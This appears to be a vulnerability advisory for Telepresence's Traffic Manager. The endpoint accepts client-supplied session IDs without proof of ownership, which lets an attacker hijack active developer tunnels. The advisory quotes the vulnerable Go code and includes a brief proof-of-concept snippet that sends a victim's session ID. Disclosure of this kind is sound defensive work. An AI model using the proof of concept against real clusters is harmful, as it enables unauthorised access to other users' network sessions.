github.com/telepresenceio/telepresence/v2
Affected
- introduced
0, fixed2.31.0(semver)
Fixed versions
2.31.0
Fix
- Fixed version
2.31.0go get github.com/telepresenceio/telepresence/[email protected]
Advisory
Also known as: CVE-2026-102339
Telepresence: Tunnel endpoint accepts caller-supplied session ID with no ownership proof — active client sessions hijackable
Summary
The Traffic Manager Tunnel gRPC streaming endpoint accepts a session ID from the first bytes of the client-controlled message payload. No verification confirms the caller owns the session. An attacker supplying a valid active session ID receives a fully routed tunnel for that session, gaining the network routing capabilities of the legitimate Telepresence client. Tested on HEAD v2.28.0, commit b2231a4.
Details
The Tunnel handler reads identity from a client-provided binary payload rather than from a verified credential or prior authenticated gRPC call:
// cmd/traffic/cmd/manager/service.go:1057-1063
func (s *service) Tunnel(server grpc.BidiStreamingServer[...]) error {
stream, err := tunnel.NewServerStream(ctx, tunnel.ClientToManager, server)
return s.state.Tunnel(ctx, stream) // stream.SessionID() is client-controlled
}
state.Tunnel looks up the session ID in the sessions map with no ownership proof:
// cmd/traffic/cmd/manager/state/state.go:698-703
func (s *State) Tunnel(ctx context.Context, stream tunnel.Stream) error {
id := stream.SessionID() // from client payload bytes
if cs, ok := s.clients.Load(id); ok {
return s.clientTunnel(ctx, cs, stream) // full dialer granted
}
return grpcErrors.Errorf(codes.NotFound, ...)
}
The session ID is parsed from the wire message with no binding to the transport-level identity of the caller (pkg/tunnel/message.go:209-214).
Proof of Concept
Precondition: a valid active session ID (obtainable via ArriveAsClient, which has no auth either).
conn, _ := grpc.NewClient("traffic-manager.ambassador:8081",
grpc.WithTransportCredentials(insecure.NewCredentials()))
mgr := rpc.NewManagerClient(conn)
tunnelStream, _ := mgr.Tunnel(ctx)
// Send StreamInfo with victim session ID in payload
tunnelStream.Send(&rpc.TunnelMessage{Payload: buildStreamInfo(victimSessionID, ...)})
// Traffic Manager routes tunnel traffic for victimSessionID
// through this attacker-controlled bidirectional stream
Impact
A caller supplying a valid session ID of an active Telepresence client obtains a tunnel endpoint for that session's network routing context. Session IDs are UUID4s, making cold brute-force impractical; exploitation materialises when session IDs are obtainable via log leakage or cluster-internal channels. Combined with the unauthenticated ArriveAsClient endpoint, an attacker can
create their own sessions and pivot to impersonate active developer sessions.
High Basis: The source's own band: HIGH
0, fixed 2.31.0 (semver)2.31.0
2.31.0go get github.com/telepresenceio/telepresence/[email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0